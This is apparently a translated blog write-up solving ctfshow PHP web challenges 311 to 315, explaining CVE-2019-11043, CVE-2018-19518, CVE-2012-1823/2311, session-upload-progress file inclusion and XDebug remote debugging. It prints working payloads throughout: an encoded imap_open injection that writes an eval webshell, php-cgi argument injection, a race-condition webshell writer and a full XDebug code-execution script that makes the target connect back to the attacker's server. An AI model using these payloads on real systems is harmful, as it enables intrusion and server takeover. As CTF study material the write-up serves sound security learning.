Ctfshow web entry phpCVE article web311-web315 detailed problem solutions

CTFshow phpCVE web311

CVE-2019-11043

PHP remote code execution vulnerability reappears (CVE-2019-11043) [Rebound shell successful] - Tencent Cloud Developer Community - Tencent Cloud (tencent.com)

Vulnerability description

CVE-2019-11043 is a remote code execution vulnerability. Servers using certain specific configurations of Nginx + PHP-FPM are vulnerable, allowing attackers to remotely execute code.

When sending %0a to the Nginx + PHP-FPM server URL, the server returned an exception.

This vulnerability requires specific configuration in nginx.conf to be triggered. The specific configuration is as follows:

location ~ [^/]\.php(/|$) {

 ...

 fastcgi_split_path_info ^(.+?\.php)(/.*)$;

 fastcgi_param PATH_INFO $fastcgi_path_info;

 fastcgi_pass   php:9000;

 ...

}

An attacker can use the newline character (%0a) to break fastcgi_split_path_infothe Regexp in the directive. Regexp is corrupted causing PATH_INFO to be empty, thus triggering the vulnerability.

Sphere of influence

In the Nginx + PHP-FPM environment, when the above Nginx configuration is enabled, the following PHP versions are affected by this vulnerability. In addition, PHP 5.6 version is also affected by this vulnerability, but currently it can only be crashed and cannot be executed remotely:

  • PHP 7.0 version
  • PHP version 7.1
  • PHP version 7.2
  • PHP version 7.3

The tool we are going to use to do the questions is phuip-fpizdambased on the Go language.

First configure the language environment and tools on the virtual machine. (root)

//更新一下apt
apt-get update
apt-get install --fix-missing
apt --fix-broken install -y

//安装go
apt install golang

//测试是否成功
go -version

image-20230922223126471

//下载工具源码,下不了的话科学上网开全局
git clone https://github.com/neex/phuip-fpizdam.git

//查看go环境信息
go env

//目录跳转
cd phuip-fpizdam

//安装所需
go get -v && go build

//如果上条安装所需没反应或者报错,就先执行下面这题(切换代理),然后再安装所需
go env -w GOPROXY=https://goproxy.cn

image-20230922180454558


Everything is ready, start the topic.

First, take a look at the network package:

Server:nginx/1.18.0 (Ubuntu)

X-Powered-By:PHP/7.1.33dev

image-20230922223403585

It's obviously CVE-2019-11043the feature, and the version also satisfies it. We choose to use tools and a shuttle.

Open a terminal in the tools folder, change to root, and execute: (add one after the URL /index.php)

go run . "http://7077faca-4cc2-4f4f-8ac5-0528865a46ca.challenge.ctf.show/index.php"

image-20230922224020689

/index.php?a=Then enter the command at the target machine to get the shell directly. (If you can’t get it out, submit it a few more times)

Friendly tip from PNiu: You should note that only some of the PHP-FPM child processes are contaminated, so please try a few times to execute the command.

image-20230922224121209

CTFshow phpCVE web312

CVE-2018-19518

Vulnerability introduction

The main function of IMAP protocol (Internet Message Access Protocol) is that the email client can obtain email information from the mail server, download emails, etc. through this protocol. It runs on the TCP/IP protocol and uses port 143. What is called in php is the imap_open function.

A vulnerability in PHP's imap_open function could allow an authenticated, remote attacker to execute arbitrary commands on the target system. The vulnerability exists because the affected software's imap_open function improperly filters mailbox names before passing them to the rsh or ssh command. If the rsh and ssh features are enabled and the rsh command is a symbolic link to the ssh command, an attacker could exploit this vulnerability by sending a malicious IMAP server name containing the -oProxyCommand parameter to the target system. A successful exploit could allow the attacker to bypass otherwise disabled exec functionality in the affected software, which the attacker could exploit to execute arbitrary shell commands on the target system. The functional code that exploits this vulnerability is part of the Metasploit Framework.

imap_open(string $mailbox,string $user,string $password)

The parameters mailboxare used to connect to the mailbox server. sshIt will call rsh to connect to the remote shell, which is used by default in debian/ubuntu instead rsh, as shown below:
image-20230923103353119

And because the ssh command can -oProxyCommand=call third-party commands through settings, the attacker will eventually cause a command execution vulnerability by injecting this parameter.

ssh -oProxyCommand ="tac /flag|tee /tmp/executed"localhost
#其中管道符tee意思是将内容追加到文件并且在屏幕输出

image-20230923104006412

It can be seen that although the connection was not successful, we successfully wrote the command to the file, so this is the reason why our system was attacked.

ProxyCommand, such a command to connect to the server is detailed as follows:

ProxyCommand specifies the command used to connect to the server. The command string is expanded to the end of the line and executed using the user's shell 'exec' command to avoid delayed shell processes. ProxyCommand accepts arguments for tokens described in the TOKENS section. The command can be basically anything and should read from its standard input and write to its standard output. It should eventually connect to an sshd server running on some machine, or execute sshd -i somewhere. Host key management will be done using the HostName of the connected host (defaults to the name typed by the user). Setting the command to none completely disables this option. Please note that CheckHostIP cannot connect with the proxy command. This directive is useful in conjunction with nc and its proxy support. For example, the following command will connect through the HTTP proxy of 192.0.2.0: ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

There are also problems parsing the command. To bypass escaping of slashes and spaces. Use $IFS and \t or base64 encoding and related commands to decode. as follows:

echo "echo hello|tee /tmp/executed"|base64

ehco ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash

Affected version

Ubuntu、Debian、Red Hat、SUSE

PHP 5.6.x < 5.6.39


Start doing the questions. The initial interface is email login, and there are three parameters that can be entered, namely email, account, and password. It is characteristic of CVE-2018-19518.

image-20230923112406062

Look at the network, the version conditions are met.

image-20230923112938624

Grab a package and take a look. The three parameters are hostname, username, passwordand I guess the backend PHP language uses imap_open(string $mailbox,string $user,string $password)statements. To meet the conditions.

image-20230923113017747

Directly fix the payload:

# 原始payload
x+-oProxyCommand=echo	echo '<?php eval($_POST[1]);' > /var/www/html/1.php|base64	-d|sh}

# base64+url编码以后
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}

# 模板
hostname=x+-oProxyCommand%3decho%09【要执行命令的base64】|base64%09-d|sh}&username=xxx&password=xxx

Final payload:

hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=xxx&password=xxx

image-20230923113056699

To access /1.php, getshell directly.

image-20230923113134569

CTFshow phpCVE web313

CVE-2012-1823

PHP SAPI and run mode

First, let’s introduce the operating mode of PHP.

Download the PHP source code and you can see that there is a directory called sapi. The role of sapi in PHP is similar to a "deliver" of messages, such as fpm introduced in the article " Fastcgi Protocol Analysis && PHP-FPM Unauthorized Access Vulnerability && Exp Writing ". His role is to accept the Web container through fastcgi The data is encapsulated by the protocol and handed over to the PHP interpreter for execution.

In addition to fpm, the most common sapi should be mod_php for Apache. This sapi is used for data exchange between php and apache.

php-cgi is also a sapi. In ancient times, the running method of web applications was very simple. After receiving the http packet, the web container got the file requested by the user (cgi script), forked a child process (interpreter) to execute the file, and then got The execution result is returned directly to the user, and the interpreter sub-process ends at the same time. Most web applications based on bash, perl and other languages ​​are executed in this way. This execution method is generally called cgi. When installing Apache, there is a cgi-bin directory by default, which was used to place these cgi scripts at the earliest. of.

However, the cgi mode has a fatal shortcoming. As we all know, the creation and scheduling of processes have a certain cost, and the number of processes is not unlimited. Therefore, websites running in cgi mode usually cannot accept a large number of requests at the same time, otherwise each request generates a child process, which may overwhelm the server . So later came fastcgi. The fastcgi process can always run itself in the background, accept data packets through the fastcgi protocol, and return results after execution, but it does not exit.

PHP has a sapi called php-cgi. php-cgi has two functions. One is to provide interaction in cgi mode, and the other is to provide interaction in fastcgi mode. In other words, like perl, we can let the web container directly fork a php-cgi process to execute a script; we can also run it in the background php-cgi -b 127.0.0.1:9000(php-cgi serves as the manager of fastcgi), and let the web container interact with 9000 using the fastcgi protocol. .

So what is the fpm I mentioned before? Why does php have two fastcgi managers? PHP does have two fastcgi managers, php-cgi can run in fastcgi mode, and fpm also runs in fastcgi mode. But fpm was introduced by PHP after version 5.3. It is a more efficient fastcgi manager. I won’t go into details about its many advantages. You can check the source code yourself. Because fpm has more advantages, more and more web applications now use php-fpm to run php.

Four operating modes of PHP

(1)CGI

​The full name is "Common Gateway Interface". It allows a client to request data from a web browser to a program executing on a Web server. It describes the process of transmitting data between the client and this program. In addition, CGI is independent of any language, so it can be written in any language, as long as the language has standard input, output and environment variables. Such as php, perl, tcl, etc.

CGI needs to open a separate sub-process for maintenance for each user request, so performance problems will occur when the number is large, and it has been rarely used in recent years.

(2)FastCGI

​ An upgraded version of CGI, FastCGI is like a long-live CGI. It can be executed all the time. As long as it is activated, it will not spend time parsing php.ini and reloading all dlls every time. Expand and reinitialize all data structures.

​ PHP uses PHP-FPM (FastCGI Process Manager), the full name of PHP FastCGI Process Manager, for management.

(3)Cli

​ PHP-CLI is the abbreviation of PHP Command Line Interface, which is the interface for PHP to run on the command line, which is different from the PHP environment (PHP-CGI, etc.) running on the web server.

​ In php-cli mode we can directly start a php file and execute it, just like in workererman

(4) Module loading

This method is generally for apache. It runs php as a sub-module of apache.


Vulnerability scope

​ The vulnerability affects versions PHP < 5.3.12 and PHP < 5.4.2

CVE-2012-1823 is a vulnerability that occurs in php-cgi running mode. The vulnerability only appears in php running in cgi mode.

Vulnerability causes

​ To put it simply, this vulnerability is that the querystring requested by the user (querystring literally means query string, usually parses the data carried in the http request, here only the data carried in the http request) is used as PHP -cgi parameters ultimately lead to a series of results.

​RFC3875 stipulates that when the querystring does not contain an undecoded =number, the querystring must be passed in as a parameter of cgi. So the Apache server implements this functionality as required. But PHP did not pay attention to this rule of RFC. Maybe it has noticed and dealt with it. The way to deal with it is that incoming parameters are not allowed in the web context.

From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)

In our SAPI cgi we have a check along these lines:

    if (getenv("SERVER_SOFTWARE")
        || getenv("SERVER_NAME")
        || getenv("GATEWAY_INTERFACE")
        || getenv("REQUEST_METHOD")) {
    
    
        cgi = 1;
    }

    if(!cgi) getopt(...)

As in, we do not parse command line args for the cgi binary if we are 
running in a web context.  At the same time our regression testing system 
tries to use the cgi binary and it sets these variables in order to 
properly test GET/POST requests.  From the regression testing system we 
use -d extensively to override ini settings to make sure our test 
environment is sane.  Of course these two ideas conflict, so currently our 
regression testing is somewhat broken.  We haven't noticed because we 
don't have many tests that have GET/POST data and we rarely build the cgi 
binary.

The point of the question here is if anybody remembers why we decided not 
to parse command line args for the cgi version?  I could easily see it 
being useful to be able to write a cgi script like:

  #!/usr/local/bin/php-cgi -d include_path=/path
  <?php
      ...
  ?>

and have it work both from the command line and from a web context.

As far as I can tell this wouldn't conflict with anything, but somebody at 
some point must have had a reason for disallowing this.

-Rasmus

#!/usr/local/bin/php-cgi -d include_path=/pathHowever, in order to facilitate testing using similar writing methods, the developer believes that php-cgi should not be restricted from accepting command line parameters, and this function does not conflict with other codes.

Therefore, the source program if(!cgi) getopt(...)was deleted.

According to the description of command line in RFC, command line parameters can not only be #!/usr/local/bin/php-cgi -d include_path=/pathpassed into php-cgi through , but also through querystring.

exploit

The following controllable command line parameters are available in cgi mode:

  • -cSpecify the location of the php.ini file (PHP configuration file)
  • -nDo not load the php.ini file
  • -dSpecify configuration items
  • -bStart the fastcgi process
  • -sShow file source code
  • -TExecute the file specified times
  • -hand -?show help

Then the simplest way to use it is -sto directly display the source code:

image-20230923132157742

The leak of the source code shows that the vulnerability exists. Look at the network, the version is PHP 5.4.1, and the conditions are met.

A better way to exploit is to create an arbitrary file inclusion vulnerability and execute arbitrary code by using -dthe specification auto_prepend_file: (where "+" is used instead of "space", and "=" and ":" are URL-encoded)

The principle is: use controllable command line parameters -dto allow_url_includeset the value to onand use auto_prepend_filethe function to load the file at the top of the page, and construct the loaded file as php://inputthe original POST data read (that is, the execution result of the transmitted data <?php echo shell_exec("ls");?>), and pass into the response packet. The request package is constructed as follows:

POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
 
...
...
...

<?php echo shell_exec("ls");?>

The results of constructing execution in burp are as follows, and the flag is successfully obtained:

image-20230923133839047

CVE-2012-2311

After this vulnerability was exposed, PHP officials patched it and released new versions 5.4.2 and 5.3.12. However, the repair was incomplete and could be bypassed, which resulted in the CVE-2012-2311 vulnerability.

The PHP fix is ​​to -check for:

if(query_string = getenv("QUERY_STRING")) {
    
    
    decoded_query_string = strdup(query_string);
    php_url_decode(decoded_query_string, strlen(decoded_query_string));
    if(*decoded_query_string == '-' && strchr(decoded_query_string, '=') == NULL) {
    
    
        skip_getopt = 1;
    }
    free(decoded_query_string);
}

It can be seen that after obtaining the querystring, decode it. If the first character is, -set skip_getopt, that is, do not obtain the command line parameters.

The unsafe part of this repair method is that if the operation and maintenance encapsulates php-cgi:

#!/bin/sh

exec /usr/local/bin/php-cgi $*

Parameters can also be passed in using whitespace characters -. At this time, the first character of querystring is a blank character instead of a blank character -, bypassing the above check.

Therefore, modifications continued in php5.4.3 and php5.3.13:

if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
    
    
    /* we've got query string that has no = - apache CGI will pass it to command line */
    unsigned char *p;
    decoded_query_string = strdup(query_string);
    php_url_decode(decoded_query_string, strlen(decoded_query_string));
    for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
    
    
        /* skip all leading spaces */
    }
    if(*p == '-') {
    
    
        skip_getopt = 1;
    }
    free(decoded_query_string);
}

First skip all whitespace characters (all characters less than or equal to spaces), and then determine whether the first character is -.

Bug fixes

​The repair principle is: decode after obtaining the querystring, first skip all whitespace characters (all characters less than or equal to spaces), and then determine whether the first character is -. If the first character is -then set skip_getopt, that is, do not get the command line parameters. The repair source code is as follows

    if((query_string = getenv("QUERY_STRING")) != NULL && strchr(query_string, '=') == NULL) {
        /* we've got query string that has no = - apache CGI will pass it to command line */
        unsigned char *p;
        decoded_query_string = strdup(query_string);
        php_url_decode(decoded_query_string, strlen(decoded_query_string));
        for (p = decoded_query_string; *p && *p <= ' '; p++) {
        /* skip all leading spaces */
       }  
       if(*p == '-') {
          skip_getopt = 1;
       }
       free(decoded_query_string);
    }

CTFshow phpCVE web314

This question is not a CVE, it's PHP_SESSION_UPLOAD_PROGRESSa file inclusion.

The source code is given directly. With the colon disabled, the file cannot be read using the pseudo protocol.

image-20230923134530764

Reading files normally works fine.

image-20230923134823029

In /phpinfo.phpthe routing (guessing from the source code comments, dirsearch can also directly scan it out.) I found the phpinfo() interface.

image-20230923135107727

image-20230923135118251

Browsing phpinfo(), I found that the session was enabled and session.name was PHPSESSID.

When we consider PHP_SESSION_UPLOAD_PROGRESSfile inclusion, we need to use conditional competition to read and write at the same time.

The script is as follows:

import requests
import io
import threading
url = 'http://0de8a71e-a2a7-4d86-9cf7-c0ac1653ae3c.challenge.ctf.show/'
file_name="/var/www/html/1.php"
file_content='<?php eval($_POST[1]);?>'

def write(session):
    data = {
    
    
        'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success!'; file_put_contents('{
      
      file_name}','{
      
      file_content}');?>"
    }#写一句话木马到文件
    while event.isSet():
        f = io.BytesIO(b'a'*1024*50)
        session.post(url,cookies={
    
    'PHPSESSID':'lalalala'},data=data,files={
    
    'file':('xxx',f)})

def read(session):
    while event.isSet():
        response = session.post(url+'?f=/tmp/sess_lalalala')
        if 'success!' in response.text:#判断
            print("写入成功,访问1.php getshell")
            event.clear()#终止进程
            break
        else:
            pass

if __name__=='__main__':
    event = threading.Event()
    event.set()
    with requests.session() as session:
        for i in range(10):#开启十条进程
            threading.Thread(target=write,args=(session,)).start()
        for i in range(10):
            threading.Thread(target=read,args=(session,)).start()

image-20230923142001064

image-20230923142032266

This question can also be included in the log file, so I won’t go into details.

CTFshow phpCVE web315

Title description: Debug is turned on, port 9000

Just look at the title description at a glanceXDebug 远程调试漏洞

condition:

Turn on remote debugging mode and setremote_connect_back = 1

xdebug.remote_connect_back = 1

xdebug.remote_enable = 1

开启了远程调试模式,并设置`remote_connect_back = 1`

xdebug.remote_connect_back = 1

xdebug.remote_enable = 1

Under this configuration, when we visit http://target-url/index.php?XDEBUG_SESSION_START=phpstorm, the XDebug of the target server will connect to the visitor's IP (or X-Forwarded-Forthe address specified by the header) and communicate with it through the dbgp protocol. We can execute any PHP code on the target server through the eval method provided in dbgp. .

The utilization script is as follows: (XDebug_exp.py) placed on vps

#!/usr/bin/env python3
import re
import sys
import time
import requests
import argparse
import socket
import base64
import binascii
from concurrent.futures import ThreadPoolExecutor


pool = ThreadPoolExecutor(1)
session = requests.session()
session.headers = {
    
    
    'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}

def recv_xml(sock):
    blocks = []
    data = b''
    while True:
        try:
            data = data + sock.recv(1024)
        except socket.error as e:
            break
        if not data:
            break

        while data:
            eop = data.find(b'\x00')
            if eop < 0:
                break
            blocks.append(data[:eop])
            data = data[eop+1:]

        if len(blocks) >= 4:
            break
    
    return blocks[3]


def trigger(url):
    time.sleep(2)
    try:
        session.get(url + '?XDEBUG_SESSION_START=phpstorm', timeout=0.1)
    except:
        pass


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='XDebug remote debug code execution.')
    parser.add_argument('-c', '--code', required=True, help='the code you want to execute.')
    parser.add_argument('-t', '--target', required=True, help='target url.')
    parser.add_argument('-l', '--listen', default=9000, type=int, help='local port')
    args = parser.parse_args()
    
    ip_port = ('0.0.0.0', args.listen)
    sk = socket.socket()
    sk.settimeout(10)
    sk.bind(ip_port)
    sk.listen(5)

    pool.submit(trigger, args.target)
    conn, addr = sk.accept()
    conn.sendall(b''.join([b'eval -i 1 -- ', base64.b64encode(args.code.encode()), b'\x00']))

    data = recv_xml(conn)
    print('[+] Recieve data: ' + data.decode())
    g = re.search(rb'<\!\[CDATA\[([a-z0-9=\./\+]+)\]\]>', data, re.I)
    if not g:
        print('[-] No result...')
        sys.exit(0)

    data = g.group(1)

    try:
        print('[+] Result: ' + base64.b64decode(data).decode())
    except binascii.Error:
        print('[-] May be not string result...')

How to use the script: (-l specifies the port, the question here is 9000. It’s okay if you don’t add it, the script defaults to port 9000) Execute the script on the vps

python3 XDebug_exp.py -t 【靶机url】/index.php -c 'shell_exec("id");' -l 9000

image-20230923154544742


Start doing the questions:

Vulnerability judgment characteristics: (satisfied)

When we access /index.php?XDEBUG_SESSION_START=phpstorm, there will be one more returned package Set-Cookie, the content is XDEBUG_SESSION=phpstorm;....

image-20230923154956265

Place the script on the vps, cd to the corresponding directory, and execute:

python3 XDebug_exp.py -t http://pwn.challenge.ctf.show:28100/index.php -c 'shell_exec("tac flaaaxx.php");' -l 9000

image-20230923160316368

For further study, please refer to:

[Xdebug: A Tiny Attack Surface - Ricter’s Blog (ricterz.me)](https://blog.ricterz.me/posts/Xdebug: A Tiny Attack Surface)

Attack surface of xdebug | Spoock

Guess you like

Origin blog.csdn.net/Jayjay___/article/details/133221038